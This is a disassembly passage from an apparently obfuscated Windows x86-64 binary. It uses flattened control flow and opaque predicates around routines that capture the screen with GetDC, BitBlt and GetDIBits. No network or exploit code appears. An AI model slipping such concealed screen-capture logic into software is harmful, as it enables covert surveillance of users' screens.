jmp 0x1404ba73a
mov rbx, qword [rbp + 0x320]
mov dword [rbx], eax
mov dword [rcx + 8], 5
mov qword [rbp + 0x2d8], rdx
mov ebx, dword [0x140ae95a8]
lea edi, [rbx - 1]
imul edi, ebx
test dil, 1
mov edi, 0xda384f69
mov ebx, 0x10ede4c7
mov esi, 0x6b34eb96
cmove ebx, esi
cmp dword [0x140ae95ac], 0xa
cmovl ebx, esi
jmp 0x1404b9c50
mov ebx, 0x5d6e6b5a
jmp 0x1404b9c50
mov rbx, qword [rbp + 0x320]
mov dword [rbx], eax
mov dword [rcx + 8], 5
mov ebx, 0x64414d31
jmp 0x1404b9c50
mov eax, 0x7eb1a4dd
mov edi, 0xda384f69
mov r14d, 0xcef4daed
jmp 0x1404ac53d
movss dword [rbp + 0x2d8], xmm0
cvttss2si eax, dword [rbp + 0x2d8]
mov dword [rbp + 0xa4], eax
movss xmm0, dword [0x140ae7aa4]
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
add rsp, 0x20
mov eax, 0x712871f8
mov r10d, 0xee54680f
nop dword [rax]
cmp eax, 0x712871f8
je 0x1404b9d83
cmp eax, 0x77be9b2c
jne 0x1404b9d70
jmp 0x1404baf21
mov eax, 0x77be9b2c
jmp 0x1404b9d70
movss dword [rbp + 0x2d8], xmm0
cvttss2si eax, dword [rbp + 0x2d8]
mov dword [rbp + 0x118], eax
movss xmm0, dword [0x140ae7aa4]
movss dword [rbp + 0x1c], xmm0
mov eax, 0x9508ef31
jmp 0x1404ac53d
mov eax, 0x7e978dee
jmp 0x1404ac53d
mov qword [rbp + 0x338], rax
lea rcx, [rbp + 0x328]
mov qword [rbp + 0x320], rcx
mov rax, qword [rbp + 0x320]
sub rsp, 0x20
call fcn.1405a99c0
add rsp, 0x20
mov eax, 0x16178d65
movsd xmm0, qword [rbp + 0x328]
mov r10d, 0xee54680f
nop dword [rax]
cmp eax, 0x16178d65
je 0x1404b9e13
cmp eax, 0xc38dec3e
jne 0x1404b9e00
jmp 0x1404baf4f
mov eax, 0xc38dec3e
jmp 0x1404b9e00
movsd qword [rbp + 0x2d8], xmm0
movsd xmm0, qword [rbp + 0x2d8]
mov rax, qword [rbp + 0x320]
mov rax, qword [rbp + 0x338]
movsd qword [rax], xmm0
mov rax, qword [rbp + 0xd0]
movsd xmm0, qword [rax]
mov eax, 0x16178d65
nop dword [rax]
cmp eax, 0x16178d65
je 0x1404b9e63
cmp eax, 0xc38dec3e
jne 0x1404b9e50
jmp 0x1404bafaa
mov eax, 0xc38dec3e
jmp 0x1404b9e50
mov rax, qword [rbp + 0x50]
mov rax, qword [rax]
mov qword [0x140ae7aa0], rax
mov rax, qword [rbp + 0x50]
mov eax, 0x155927d0
jmp 0x1404ac53d
movss dword [rbp + 0x2d8], xmm0
movss xmm0, dword [rbp + 0x2d8]
movss xmm0, dword [0x140ae7aa4]
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
add rsp, 0x20
mov eax, 0x712871f8
mov r10d, 0xee54680f
nop word cs:[rax + rax]
cmp eax, 0x712871f8
je 0x1404b9ed3
cmp eax, 0x77be9b2c
jne 0x1404b9ec0
jmp 0x1404bafd0
mov eax, 0x77be9b2c
jmp 0x1404b9ec0
mov qword [rbp + 0x290], rsp
mov rax, qword [rbp + 0x2d8]
mov dword [rax], ecx
mov eax, dword [0x140ae95b8]
mov ecx, dword [0x140ae95bc]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x2b8]
cmp ecx, 0xa
setl byte [rbp + 0x288]
mov eax, 0x8dcaec4b
jmp 0x1404b9f55
mov eax, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xec]
mov dword [rbp + 0x310], eax
mov dword [rbp + 0x328], ecx
mov eax, dword [0x140ae95b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa74c245
mov ecx, 0xce8da613
cmove eax, ecx
cmp dword [0x140ae95bc], 0xa
cmovl eax, ecx
cmp eax, 0xe5440bd6
jg 0x1404b9fc0
cmp eax, 0xce8da612
jg 0x1404ba010
cmp eax, 0x8dcaec4b
je 0x1404ba26f
cmp eax, 0xade06e18
je 0x1404b9f17
cmp eax, 0xae106c03
jne 0x1404b9f55
mov eax, Ordinal_50
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x338], rax
mov eax, dword [0x140ae95b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd0edb28f
mov ecx, 0x17ff2cd5
jmp 0x1404b9f48
cmp eax, 0x17ff2cd4
jle 0x1404ba04f
cmp eax, 0x17ff2cd5
je 0x1404ba293
cmp eax, 0x3c1c9c4b
je 0x1404ba29d
cmp eax, 0x52057cfc
jne 0x1404b9f55
mov eax, dword [0x140ae95b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3c1c9c4b
mov ecx, 0xba0bf4a
jmp 0x1404b9f48
cmp eax, 0xce8da613
je 0x1404ba4bf
cmp eax, 0xd0edb28f
je 0x1404ba4c9
cmp eax, 0xde075710
jne 0x1404b9f55
mov eax, dword [0x140ae95b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa74c245
mov ecx, 0xade06e18
jmp 0x1404b9f48
cmp eax, 0xa74c245
je 0x1404ba4d3
cmp eax, 0xba0bf4a
jne 0x1404ba680
mov edi, dword [rbp + 0xe0]
mov ebx, dword [rbp + 0xe4]
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
add rsp, 0x20
mov r12, rax
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
add rsp, 0x20
mov rsi, rax
mov edx, dword [rbp + 0x310]
mov r8d, dword [rbp + 0x328]
sub rsp, 0x20
mov rcx, r12
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
add rsp, 0x20
mov r13, rax
sub rsp, 0x20
mov rcx, rsi
mov rdx, rax
call qword [sym.imp.GDI32.dll_SelectObject]
add rsp, 0x20
mov r15, rax
mov r9d, dword [rbp + 0x310]
mov eax, dword [rbp + 0x328]
sub rsp, 0x50
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x40], 0xcc0020
mov rcx, rsi
xor edx, edx
xor r8d, r8d
call qword [sym.imp.GDI32.dll_BitBlt]
add rsp, 0x50
mov rax, qword [rbp + 0x338]
movups xmmword [rax], xmm7
movups xmmword [rax + 0x10], xmm7
mov qword [rax + 0x20], 0
mov rax, qword [rbp + 0x338]
mov dword [rax], Ordinal_41
mov rax, qword [rbp + 0x338]
mov word [rax + 0xc], 1
mov rax, qword [rbp + 0x338]
mov word [rax + 0xe], reloc.WLDAP32.dll_Ordinal_32
mov rax, qword [rbp + 0x338]
mov ecx, dword [rbp + 0x310]
mov dword [rax + 4], ecx
xor eax, eax
sub eax, dword [rbp + 0x328]
mov rcx, qword [rbp + 0x338]
mov dword [rcx + 8], eax
mov rax, qword [rbp + 0x338]
mov dword [rax + 0x10], 0
mov rax, qword [rbp + 0x338]
mov dword [rax + 0x14], 0
movsxd rax, dword [rbp + 0x310]
movsxd rdx, dword [rbp + 0x328]
imul rdx, rax
shl rdx, 2
sub rsp, 0x20
lea rbx, [0x140ae7ab8]
mov rcx, rbx
lea r8, [rbp + 0x2d8]
call fcn.1405bf810
add rsp, 0x20
mov rdi, qword [rbp + 0x338]
mov qword [rbp + 0x320], rbx
mov eax, dword [0x140ae0b40]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae0b44], 0xa
setl cl
or cl, al
mov eax, 0x78fdf0e2
mov ecx, 0x70f23573
cmovne eax, ecx
mov ecx, 0x78fdf0e2
mov edx, 0x51c78c87
cmovne ecx, edx
mov edx, 0x53fdee66
nop word cs:[rax + rax]
cmp edx, 0x53fdee65
jle 0x1404ba250
cmp edx, 0x78fdf0e2
je 0x1404ba264
cmp edx, 0x70f23573
je 0x1404ba4dd
cmp edx, 0x53fdee66
jne 0x1404ba210
mov rdx, qword [rbp + 0x320]
mov rdx, qword [rdx]
mov qword [rbp + 0x2d8], rdx
mov edx, 0x114fb429
jmp 0x1404ba210
cmp edx, 0x114fb429
je 0x1404ba26b
cmp edx, 0x51c78c87
jne 0x1404ba210
mov edx, eax
jmp 0x1404ba210
mov edx, 0x51c78c87
jmp 0x1404ba210
mov edx, ecx
jmp 0x1404ba210
mov cl, byte [rbp + 0x2b8]
cmp byte [rbp + 0x288], 0
mov eax, 0xd0edb28f
mov edx, 0xae106c03
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x1404b9f55
mov eax, 0xde075710
jmp 0x1404b9f55
mov ebx, dword [rbp + 0xe0]
mov esi, dword [rbp + 0xe4]
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
add rsp, 0x20
mov r15, rax
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
add rsp, 0x20
mov rdi, rax
mov edx, dword [rbp + 0x310]
mov r8d, dword [rbp + 0x328]
sub rsp, 0x20
mov rcx, r15
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
add rsp, 0x20
mov r13, rax
sub rsp, 0x20
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.GDI32.dll_SelectObject]
add rsp, 0x20
mov r12, rax
mov r9d, dword [rbp + 0x310]
mov eax, dword [rbp + 0x328]
sub rsp, 0x50
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x40], 0xcc0020
mov rcx, rdi
xor edx, edx
xor r8d, r8d
call qword [sym.imp.GDI32.dll_BitBlt]
add rsp, 0x50
mov rax, qword [rbp + 0x338]
movups xmmword [rax], xmm7
movups xmmword [rax + 0x10], xmm7
mov qword [rax + 0x20], 0
mov rax, qword [rbp + 0x338]
mov dword [rax], Ordinal_41
mov rax, qword [rbp + 0x338]
mov word [rax + 0xc], 1
mov rax, qword [rbp + 0x338]
mov word [rax + 0xe], reloc.WLDAP32.dll_Ordinal_32
mov rax, qword [rbp + 0x338]
mov ecx, dword [rbp + 0x310]
mov dword [rax + 4], ecx
mov eax, dword [rbp + 0x328]
mov eax, dword [rbp + 0x328]
mov eax, dword [rbp + 0x328]
mov eax, dword [rbp + 0x328]
xor eax, eax
sub eax, dword [rbp + 0x328]
mov rcx, qword [rbp + 0x338]
mov dword [rcx + 8], eax
mov rax, qword [rbp + 0x338]
mov dword [rax + 0x10], 0
mov rax, qword [rbp + 0x338]
mov dword [rax + 0x14], 0
movsxd rax, dword [rbp + 0x310]
movsxd rdx, dword [rbp + 0x328]
imul rdx, rax
shl rdx, 2
sub rsp, 0x20
lea r14, [0x140ae7ab8]
mov rcx, r14
lea r8, [rbp + 0x2d8]
call fcn.1405bf810
add rsp, 0x20
mov rbx, qword [rbp + 0x338]
mov qword [rbp + 0x320], r14
mov r14d, 0xcef4daed
mov eax, dword [0x140ae0b40]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae0b44], 0xa
setl cl
or cl, al
mov eax, 0x78fdf0e2
mov ecx, 0x70f23573
cmovne eax, ecx
mov ecx, 0x78fdf0e2
mov edx, 0x51c78c87
cmovne ecx, edx
mov edx, 0x53fdee66
nop dword [rax]
cmp edx, 0x53fdee65
jle 0x1404ba4a0
cmp edx, 0x78fdf0e2
je 0x1404ba4b4
cmp edx, 0x70f23573
je 0x1404ba5c2
cmp edx, 0x53fdee66
jne 0x1404ba460
mov rdx, qword [rbp + 0x320]
mov rdx, qword [rdx]
mov qword [rbp + 0x2d8], rdx
mov edx, 0x114fb429
jmp 0x1404ba460
cmp edx, 0x114fb429
je 0x1404ba4bb
cmp edx, 0x51c78c87
jne 0x1404ba460
mov edx, eax
jmp 0x1404ba460
mov edx, 0x51c78c87
jmp 0x1404ba460
mov edx, ecx
jmp 0x1404ba460
mov eax, 0x52057cfc
jmp 0x1404b9f55
mov eax, 0xae106c03
jmp 0x1404b9f55
mov eax, 0xade06e18
jmp 0x1404b9f55
mov rax, qword [rbp + 0x2d8]
mov r9d, dword [rbp + 0x328]
sub rsp, 0x40
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov rcx, rsi
mov rdx, r13
xor r8d, r8d
mov rbx, qword [sym.imp.GDI32.dll_GetDIBits]
call rbx
add rsp, 0x40
mov r9d, dword [rbp + 0x328]
sub rsp, 0x40
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x20], 0
mov rcx, rsi
mov rdx, r13
xor r8d, r8d
call rbx
add rsp, 0x20
mov rcx, rsi
mov rdx, r15
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, rsi
call qword [sym.imp.GDI32.dll_DeleteDC]
xor ecx, ecx
mov rdx, r12
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rcx, r13
call qword [sym.imp.GDI32.dll_DeleteObject]
add rsp, 0x20
mov eax, dword [0x140ae95b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3c1c9c4b
mov ecx, 0xe5440bd7
cmove eax, ecx
cmp dword [0x140ae95bc], 0xa
cmovl eax, ecx
mov r15d, 0xe6af3b71
mov r12d, 0x75a3b107
mov r13d, 0x85dafd84
mov r10d, 0xee54680f
mov edi, 0xda384f69
mov r14d, 0xcef4daed
jmp 0x1404b9f55
mov rax, qword [rbp + 0x2d8]
mov r9d, dword [rbp + 0x328]
sub rsp, 0x40
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov rcx, rdi
mov rdx, r13
xor r8d, r8d
mov rsi, qword [sym.imp.GDI32.dll_GetDIBits]
call rsi
add rsp, 0x40
mov r9d, dword [rbp + 0x328]
sub rsp, 0x40
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x20], 0
mov rcx, rdi
mov rdx, r13
xor r8d, r8d
call rsi
add rsp, 0x20
mov rcx, rdi
mov rdx, r12
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, rdi
call qword [sym.imp.GDI32.dll_DeleteDC]
xor ecx, ecx
mov rdx, r15
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rcx, r13
call qword [sym.imp.GDI32.dll_DeleteObject]
add rsp, 0x20
mov eax, 0xba0bf4a
mov r15d, 0xe6af3b71
mov r12d, 0x75a3b107
mov r13d, 0x85dafd84
mov r10d, 0xee54680f
mov edi, 0xda384f69
jmp 0x1404b9f55
cmp eax, 0xe5440bd7
jne 0x1404b9f55
mov rsp, qword [rbp + 0x290]
mov eax, 0x2f41a25a
jmp 0x1404ac53d
movsd qword [rbp + 0x2d8], xmm0
movsd xmm0, qword [rbp + 0x2d8]
mov rax, qword [rbp + 0x320]
mov rax, qword [rbp + 0x338]
movsd qword [rax], xmm0
mov rax, qword [rbp + 0xd0]
movsd xmm0, qword [rax]
mov eax, 0x16178d65
nop
cmp eax, 0x16178d65
je 0x1404ba6e3
cmp eax, 0xc38dec3e
jne 0x1404ba6d0
jmp 0x1404bafea
mov eax, 0xc38dec3e
jmp 0x1404ba6d0
movsd qword [rbp + 0x2d8], xmm0
movsd xmm0, qword [rbp + 0x2d8]
mov rax, qword [rbp + 0x320]
mov rax, qword [rbp + 0x338]
movsd qword [rax], xmm0
mov rax, qword [rbp + 0xd8]
movsd xmm0, qword [rax]
mov eax, 0x16178d65
nop dword [rax]
cmp eax, 0x16178d65
je 0x1404ba733
cmp eax, 0xc38dec3e
jne 0x1404ba720
jmp 0x1404bb02b
mov eax, 0xc38dec3e
jmp 0x1404ba720
mov qword [rbp + 0x258], rsp
mov rax, qword [rbp + 0x2d8]
mov dword [rax], 5
mov r12, qword [rbp + 0x80]
mov eax, dword [0x140ae95b8]
mov ecx, dword [0x140ae95bc]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x2b8]
cmp ecx, 0xa
setl byte [rbp + 0x288]
mov eax, 0x8dcaec4b
mov qword [rbp + 0x290], r12
jmp 0x1404ba7c5
mov eax, dword [r12 + 8]
mov dword [rbp + 0x310], eax
mov eax, dword [r12 + 0xc]
mov dword [rbp + 0x328], eax
mov eax, dword [0x140ae95b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa74c245
mov ecx, 0xce8da613
cmove eax, ecx
cmp dword [0x140ae95bc], 0xa
cmovl eax, ecx
cmp eax, 0xe5440bd6
jg 0x1404ba830
cmp eax, 0xce8da612
jg 0x1404ba880
cmp eax, 0x8dcaec4b
je 0x1404baadf
cmp eax, 0xade06e18
je 0x1404ba789
cmp eax, 0xae106c03
jne 0x1404ba7c5
mov eax, Ordinal_50
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x338], rax
mov eax, dword [0x140ae95b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd0edb28f
mov ecx, 0x17ff2cd5
jmp 0x1404ba7b8
cmp eax, 0x17ff2cd4
jle 0x1404ba8bf
cmp eax, 0x17ff2cd5
je 0x1404bab03
cmp eax, 0x3c1c9c4b
je 0x1404bab0d
cmp eax, 0x52057cfc
jne 0x1404ba7c5
mov eax, dword [0x140ae95b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3c1c9c4b
mov ecx, 0xba0bf4a
jmp 0x1404ba7b8
cmp eax, 0xce8da613
je 0x1404bad2f
cmp eax, 0xd0edb28f
je 0x1404bad39
cmp eax, 0xde075710
jne 0x1404ba7c5
mov eax, dword [0x140ae95b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa74c245
mov ecx, 0xade06e18
jmp 0x1404ba7b8
cmp eax, 0xa74c245
je 0x1404bad43
cmp eax, 0xba0bf4a
jne 0x1404baee5
mov edi, dword [r12]
mov ebx, dword [r12 + 4]
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
add rsp, 0x20
mov r13, rax
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
add rsp, 0x20
mov rsi, rax
mov edx, dword [rbp + 0x310]
mov r8d, dword [rbp + 0x328]
sub rsp, 0x20
mov rcx, r13
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
add rsp, 0x20
mov r14, rax
sub rsp, 0x20
mov rcx, rsi
mov rdx, rax
call qword [sym.imp.GDI32.dll_SelectObject]
add rsp, 0x20
mov r15, rax
mov r9d, dword [rbp + 0x310]
mov eax, dword [rbp + 0x328]
sub rsp, 0x50
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x40], 0xcc0020
mov rcx, rsi
xor edx, edx
xor r8d, r8d
call qword [sym.imp.GDI32.dll_BitBlt]
add rsp, 0x50
mov rax, qword [rbp + 0x338]
movups xmmword [rax], xmm7
movups xmmword [rax + 0x10], xmm7
mov qword [rax + 0x20], 0
mov rax, qword [rbp + 0x338]
mov dword [rax], Ordinal_41
mov rax, qword [rbp + 0x338]
mov word [rax + 0xc], 1
mov rax, qword [rbp + 0x338]
mov word [rax + 0xe], reloc.WLDAP32.dll_Ordinal_32
mov rax, qword [rbp + 0x338]
mov ecx, dword [rbp + 0x310]
mov dword [rax + 4], ecx
xor eax, eax
sub eax, dword [rbp + 0x328]
mov rcx, qword [rbp + 0x338]
mov dword [rcx + 8], eax
mov rax, qword [rbp + 0x338]
mov dword [rax + 0x10], 0
mov rax, qword [rbp + 0x338]
mov dword [rax + 0x14], 0
movsxd rax, dword [rbp + 0x310]
movsxd rdx, dword [rbp + 0x328]
imul rdx, rax
shl rdx, 2
sub rsp, 0x20
lea rbx, [0x140ae7ad0]
mov rcx, rbx
lea r8, [rbp + 0x2d8]
call fcn.1405bf810
add rsp, 0x20
mov rdi, qword [rbp + 0x338]
mov qword [rbp + 0x320], rbx
mov eax, dword [0x140ae0b40]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae0b44], 0xa
setl cl
or cl, al
mov eax, 0x78fdf0e2
mov ecx, 0x70f23573
cmovne eax, ecx
mov ecx, 0x78fdf0e2
mov edx, 0x51c78c87
cmovne ecx, edx
mov edx, 0x53fdee66
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x53fdee65
jle 0x1404baac0
cmp edx, 0x78fdf0e2
je 0x1404baad4
cmp edx, 0x70f23573
je 0x1404bad4d
cmp edx, 0x53fdee66
jne 0x1404baa80
mov rdx, qword [rbp + 0x320]
mov rdx, qword [rdx]
mov qword [rbp + 0x2d8], rdx
mov edx, 0x114fb429
jmp 0x1404baa80
cmp edx, 0x114fb429
je 0x1404baadb
cmp edx, 0x51c78c87
jne 0x1404baa80
mov edx, eax
jmp 0x1404baa80
mov edx, 0x51c78c87
jmp 0x1404baa80
mov edx, ecx
jmp 0x1404baa80
mov cl, byte [rbp + 0x2b8]
cmp byte [rbp + 0x288], 0
mov eax, 0xd0edb28f
mov edx, 0xae106c03
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x1404ba7c5
mov eax, 0xde075710
jmp 0x1404ba7c5
mov edi, dword [r12]
mov r14d, dword [r12 + 4]
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
add rsp, 0x20
mov r13, rax
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
add rsp, 0x20
mov rsi, rax
mov edx, dword [rbp + 0x310]
mov r8d, dword [rbp + 0x328]
sub rsp, 0x20
mov rcx, r13
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
add rsp, 0x20
mov r12, rax
sub rsp, 0x20
mov rcx, rsi
mov rdx, rax
call qword [sym.imp.GDI32.dll_SelectObject]
add rsp, 0x20
mov r15, rax
mov r9d, dword [rbp + 0x310]
mov eax, dword [rbp + 0x328]
sub rsp, 0x50
mov dword [rsp + 0x38], r14d
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x40], 0xcc0020
mov rcx, rsi
xor edx, edx
xor r8d, r8d
call qword [sym.imp.GDI32.dll_BitBlt]
add rsp, 0x50
mov rax, qword [rbp + 0x338]
movups xmmword [rax], xmm7
movups xmmword [rax + 0x10], xmm7
mov qword [rax + 0x20], 0
mov rax, qword [rbp + 0x338]
mov dword [rax], Ordinal_41
mov rax, qword [rbp + 0x338]
mov word [rax + 0xc], 1
mov rax, qword [rbp + 0x338]
mov word [rax + 0xe], reloc.WLDAP32.dll_Ordinal_32
mov rax, qword [rbp + 0x338]
mov ecx, dword [rbp + 0x310]
mov dword [rax + 4], ecx
mov eax, dword [rbp + 0x328]
mov eax, dword [rbp + 0x328]
mov eax, dword [rbp + 0x328]
mov eax, dword [rbp + 0x328]
xor eax, eax
sub eax, dword [rbp + 0x328]
mov rcx, qword [rbp + 0x338]
mov dword [rcx + 8], eax
mov rax, qword [rbp + 0x338]
mov dword [rax + 0x10], 0
mov rax, qword [rbp + 0x338]
mov dword [rax + 0x14], 0
movsxd rax, dword [rbp + 0x310]
movsxd rdx, dword [rbp + 0x328]
imul rdx, rax
shl rdx, 2
sub rsp, 0x20
lea rbx, [0x140ae7ad0]
mov rcx, rbx
lea r8, [rbp + 0x2d8]
call fcn.1405bf810
add rsp, 0x20
mov rdi, qword [rbp + 0x338]
mov qword [rbp + 0x320], rbx
mov eax, dword [0x140ae0b40]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae0b44], 0xa
setl cl
or cl, al
mov eax, 0x78fdf0e2
mov ecx, 0x70f23573
cmovne eax, ecx
mov ecx, 0x78fdf0e2
mov edx, 0x51c78c87
cmovne ecx, edx
mov edx, 0x53fdee66
nop word cs:[rax + rax]
nop
cmp edx, 0x53fdee65
jle 0x1404bad10
cmp edx, 0x78fdf0e2
je 0x1404bad24
cmp edx, 0x70f23573
je 0x1404bae26
cmp edx, 0x53fdee66
jne 0x1404bacd0
mov rdx, qword [rbp + 0x320]
mov rdx, qword [rdx]
mov qword [rbp + 0x2d8], rdx
mov edx, 0x114fb429
jmp 0x1404bacd0
cmp edx, 0x114fb429
je 0x1404bad2b
cmp edx, 0x51c78c87
jne 0x1404bacd0
mov edx, eax
jmp 0x1404bacd0
mov edx, 0x51c78c87
jmp 0x1404bacd0
mov edx, ecx
jmp 0x1404bacd0
mov eax, 0x52057cfc
jmp 0x1404ba7c5
mov eax, 0xae106c03
jmp 0x1404ba7c5
mov eax, 0xade06e18
jmp 0x1404ba7c5
mov rax, qword [rbp + 0x2d8]
mov r9d, dword [rbp + 0x328]
sub rsp, 0x40
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov rcx, rsi
mov rdx, r14
xor r8d, r8d
mov rbx, qword [sym.imp.GDI32.dll_GetDIBits]
call rbx
add rsp, 0x40
mov r9d, dword [rbp + 0x328]
sub rsp, 0x40
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x20], 0
mov rcx, rsi
mov rdx, r14
xor r8d, r8d
call rbx
add rsp, 0x20
mov rcx, rsi
mov rdx, r15
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, rsi
call qword [sym.imp.GDI32.dll_DeleteDC]
xor ecx, ecx
mov rdx, r13
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rcx, r14
call qword [sym.imp.GDI32.dll_DeleteObject]
add rsp, 0x20
mov eax, dword [0x140ae95b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3c1c9c4b
mov ecx, 0xe5440bd7
cmove eax, ecx
cmp dword [0x140ae95bc], 0xa
cmovl eax, ecx
mov r13d, 0x85dafd84
mov r10d, 0xee54680f
mov edi, 0xda384f69
mov r14d, 0xcef4daed
jmp 0x1404ba7c5
mov rax, qword [rbp + 0x2d8]
mov r9d, dword [rbp + 0x328]
sub rsp, 0x40
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov rcx, rsi
mov rdx, r12
xor r8d, r8d
mov rbx, qword [sym.imp.GDI32.dll_GetDIBits]
call rbx
add rsp, 0x40
mov r9d, dword [rbp + 0x328]
sub rsp, 0x40
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x20], 0
mov rcx, rsi
mov rdx, r12
xor r8d, r8d
call rbx
add rsp, 0x20
mov rcx, rsi
mov rdx, r15
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, rsi
call qword [sym.imp.GDI32.dll_DeleteDC]
xor ecx, ecx
mov rdx, r13
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rcx, r12
call qword [sym.imp.GDI32.dll_DeleteObject]
add rsp, 0x20
mov eax, 0xba0bf4a
mov r13d, 0x85dafd84
mov r10d, 0xee54680f
mov edi, 0xda384f69
mov r14d, 0xcef4daed
mov r12, qword [rbp + 0x290]
jmp 0x1404ba7c5
cmp eax, 0xe5440bd7
jne 0x1404ba7c5
mov dword [rbp + 0xcc], 0
mov rsp, qword [rbp + 0x258]
mov dword [rbp + 0x12c], 0
mov eax, 0x430e4382
mov r15d, 0xe6af3b71
mov r12d, 0x75a3b107
jmp 0x1404ac53d
movss dword [rbp + 0x2d8], xmm0
cvttss2si eax, dword [rbp + 0x2d8]
mov dword [rbp + 0xa0], eax
cmp dword [0x140ae7d4c], 3
sete byte [rbp + 0x1ec]
mov eax, 0xe3581164
jmp 0x1404ac53d
movsd qword [rbp + 0x2d8], xmm0
movsd xmm0, qword [rbp + 0x2d8]
mov rax, qword [rbp + 0x320]
mov rax, qword [rbp + 0x338]
movsd qword [rax], xmm0
mov rax, qword [rbp + 0xd8]
movsd xmm0, qword [rax]
mov eax, 0x16178d65
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0x16178d65
je 0x1404bafa3
cmp eax, 0xc38dec3e
jne 0x1404baf90
jmp 0x1404bb051
mov eax, 0xc38dec3e
jmp 0x1404baf90
movsd qword [rbp + 0x2d8], xmm0
movsd xmm0, qword [rbp + 0x2d8]
mov rax, qword [rbp + 0x58]
movsd xmm0, qword [rbp + 0x88]
mov eax, 0x2728fe49
jmp 0x1404ac53d
movss dword [rbp + 0x2d8], xmm0
movss xmm0, dword [rbp + 0x2d8]
mov eax, 0x190c94aa
jmp 0x1404ac53d
movsd qword [rbp + 0x2d8], xmm0
movsd xmm0, qword [rbp + 0x2d8]
mov rax, qword [rbp + 0x58]
ucomisd xmm0, qword [rbp + 0x88]
seta byte [rbp + 0x1ed]
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe3e7a1a7
mov ecx, 0xc3260e7b
jmp 0x1404ac530
movsd qword [rbp + 0x2d8], xmm0
movsd xmm0, qword [rbp + 0x2d8]
mov rax, qword [rbp + 0x68]
movsd xmm0, qword [rbp + 0x88]
mov eax, 0x739110c9
jmp 0x1404ac53d
movsd qword [rbp + 0x2d8], xmm0
movsd xmm0, qword [rbp + 0x2d8]
mov rax, qword [rbp + 0x68]
ucomisd xmm0, qword [rbp + 0x88]
seta byte [rbp + 0x1f2]
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
